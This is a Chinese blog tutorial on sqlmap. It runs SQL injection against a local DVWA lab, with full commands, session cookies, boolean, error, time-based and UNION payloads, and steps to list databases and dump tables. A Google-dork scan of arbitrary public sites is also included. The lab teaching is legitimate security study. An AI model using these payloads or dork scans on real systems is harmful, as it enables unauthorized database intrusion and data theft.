张坤的个人博客

  • 首页
  • 分类
  • 标签
  • 日志

  • 搜索
Jenkins RabbitMQ Zookeeper IDEA Logstash Kibana ELK NIO Netty Spring Cloud Golang DataX Elasticsearch React Native Mysql H2 Socket Spring Boot Kafka Mybatis Sqlmap Vue Postgresql Docker Vert.x Flutter Flink Redis

Sqlmap学习笔记(一)

发表于 2020-05-29 | 分类于 Sqlmap | 0 | 阅读次数 33

Sqlmap安装

  1. 进入sqlmap官网,下载,运行sqlmap.py文件即可

    python sqlmap.py
    
  2. 通过pip安装

    pip install sqlmap
    

    直接在命令行运行sqlmap即可

Sqlmap直连数据库

sqlmap -d mysql://root:root@localhost:3306/test -f --banner

​ 如果报错需要下载pymysql模块

pip install pymsql

​ -d:直连数据库,后面跟着连接信息 -> mysql://用户名:密码@主机名:端口/数据库

​ -f:打印DBMS信息

​ --banner:打印banner信息,准确的版本号

​ 成功访问,获取mysql信息

[23:47:45] [INFO] connection to MySQL server 'localhost:3306' established
[23:47:45] [INFO] testing MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] confirming MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] the back-end DBMS is MySQL
[23:47:45] [INFO] fetching banner
[23:47:45] [INFO] resumed: [['5.7.26']]...
[23:47:45] [INFO] actively fingerprinting MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
banner: '5.7.26'
[23:47:45] [INFO] connection to MySQL server 'localhost:3306' closed

[*] ending @ 23:47:45 /2019-11-30/

Sqlmap对URL进行探测

使用-u或者--url参数

在这里我使用的是DVWA漏洞测试平台,DVWA是基于PHP的,先下载phpstudy,PhpStudy内置了Apache和Mysql等服务,运行Apache和Mysql服务,访问DVWA,默认账号密码admin/password登陆进入首页。

​配置DVWA数据库用户和密码,修改dvwa/config/config.inc.php,将db_user和db_password设置成自己数据库的用户名和密码

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root';

​初始化数据库,进入Setup / Reset DB选项,点击Create / Reset Database按钮,初始化数据库。

image.png

进入DVWA Security选项,将安全级别选择Low

image.png

​环境搭建好了,开始基于Url的Sql注入。选中SQL Injection,这里有一个输入框,填入用户的id就可以查出对应的用户,现在利用Sqlmap来对这个输入框进行注入

image.png

​输入1之后,发现将admin用户回显在了页面上,观察浏览器地址栏的变化

https://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#

​发送了一个get请求给服务端, 参数id被拼接在url中,可以针对这个地址来做基于url的sql注入探测,使用sqlmap工具扫描这个url,获取banner信息,接下来将会对Submit和id这两个输入点进行sql盲注

sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --banner

因为请求这个url需要登陆信息,所以得携带已登录用户的cookie,不然会被重定向到登陆页面

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: Submit=Submit&id=1' OR NOT 4425=4425#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Submit=Submit&id=1' AND (SELECT 5820 FROM(SELECT COUNT(*),CONCAT(0x716b6a7871,(SELECT (ELT(5820=5820,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NUNu

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Submit=Submit&id=1' AND (SELECT 2401 FROM (SELECT(SLEEP(5)))ZVXy)-- lZZD

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: Submit=Submit&id=1' UNION ALL SELECT NULL,CONCAT(0x716b6a7871,0x4c4b517861646d48755862657a785977537649774e706c4f6f474f4f62786e747a5a694a47575142,0x71766a7171)#
---
[00:06:47] [INFO] the back-end DBMS is MySQL
[00:06:47] [INFO] fetching banner
back-end DBMS: MySQL >= 5.0
banner: '5.7.26'
[00:06:48] [INFO] fetched data logged to text files under 'C:\Users\dagger\AppData\Local\sqlmap\output\test.dvwa.com'

[*] ending @ 00:06:48 /2019-12-01/

成功获取到了banner信息,由上可知Mysql的版本号为5.7.26

并检测到id参数有4个sql注入漏洞

boolean-based blind: 布尔型注入

error-based: 报错型注入

time-based blind: 基于时间延迟注入

UNION query: 可联合查询注入

这些类型的注入漏洞对应着sqlmap目录下data文件夹下的xml文件

image.png

参数说明
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: Submit=Submit&id=1' OR NOT 4425=4425#

Type:sql注入类型

Title:在payloads的xml文件下就是每个Payload的标题

Payload:注入的sql语句

已知目标站点存在sql注入漏洞,接下来可以通过相关命令获取数据库,表,字段和数据

获取数据库详细信息

  1. 获取所有数据库

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --dbs
    
    
    available databases [8]:
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] order_db
    [*] performance_schema
    [*] pikachu
    [*] sys
    [*] test
    
    
  2. 获取test数据库下所有表

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test --tables
    
    
    Database: test
    [2 tables]
    +-----------+
    | student_0 |
    | student_1 |
    +-----------+
    
    
  3. 获取student_0下所有字段

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --columns
    
    
    Database: test
    Table: student_0
    [3 columns]
    +--------+--------------+
    | Column | Type         |
    +--------+--------------+
    | id     | bigint(20)   |
    | name   | varchar(255) |
    | sex    | bit(1)       |
    +--------+--------------+
    
    
  4. 获取student_0表数据

sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --dump
 
   Database: test
   Table: student_0
   [3 entries]
   +----+------+------+
   | id | sex  | name |
   +----+------+------+
   | 2  | \x01 | fs   |
   | 4  | \x01 | 公司的  |
   | 6  | \x00 | 发生的  |
   +----+------+------+
  1. 获取指定字段数据,比如我只想要name字段数据,多个字段用逗号分隔

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 -C name --dump
    
    

    --users:获取所有用户

    --dbs:获取所有数据库

    -D:指定数据库

    --tables:获取所有表

    -T:指定表

    --columns:获取所有字段

    -C:指定字段

    --dump:获取表中所有数据

配合Burpsuite请求日志对站点进行扫描

  1. 打开Burpsuite,选中Poroject options -> Misc,在Logging板块为Proxy选中Requests,之后会弹出对话框,选择日志文件保存的位置

  2. 用Burpsuite代理的端口发几个请求试试,会发现日志文件里已经有了请求日志信息,通过sqlmap指定日志文件进行扫描

    sqlmap -l 日志文件
    

Sqlmap对URL地址列表进行扫描

  1. 准备URL地址列表文件,如:

    http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#
    http://test.dvwa.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
    
  2. 运行sqlmap命令,将会对指定文件中的URL逐行进行扫描

    sqlmap -m URL列表地址文件
    

利用Google Hack注入扫描

​ 采用Google dork表达式

sqlmap -g "inurl:.php?id=1"

从配置文件中加载选项进行扫描

​ 修改sqlmap目录下的sqlmap.conf文件,里面有多个配置项,修改这些配置可以代替像-x,-r,-l..等这些方式

direct = 		# 直接连接数据库,相当于-d
bulkFile =		# 多行url文件,相当于-m
sitemapUrl = 	# 站点地图文件,相当于-x
url = 			# 要扫描的目标url,相当于-u
logFile = 		# burpsuite请求日志文件,相当于-l
requestFile = 	# 包含http请求头信息的文件,相当于-r
googleDork = 	# 利用google hack扫描,相当于-g

开始基于配置文件的扫描

sqlmap -c sqlmap.conf

从站点地图文件扫描目标站点

sqlmap -x http://192.168.1.121/sitemap.xml

从文本文件中读取Http请求作为Sql注入目标

​ 主要用于对Http请求头进行注入

sqlmap -r 目标文本文件

​ 目标http文本

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: test.dvwa.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://test.dvwa.com/vulnerabilities/sqli/
Cookie: PHPSESSID=0q9ph79utog8ndjjka361kr7s2; security=low
Upgrade-Insecure-Requests: 1
# Jenkins # RabbitMQ # Zookeeper # IDEA # Logstash # Kibana # ELK # NIO # Netty # Spring Cloud # Golang # DataX # Elasticsearch # React Native # Mysql # H2 # Socket # Spring Boot # Kafka # Mybatis # Sqlmap # Vue # Postgresql # Docker # Vert.x # Flutter # Flink # Redis
Sqlmap学习笔记(二)
Spring Boot集成Socket
  • 文章目录
  • 站点概览
会Coding的猴子

会Coding的猴子

57 日志
19 分类
28 标签
RSS
Github
Creative Commons
© 2021 会Coding的猴子
由 Halo 强力驱动
|
主题 - NexT.Gemini v5.1.4

湘ICP备18011740号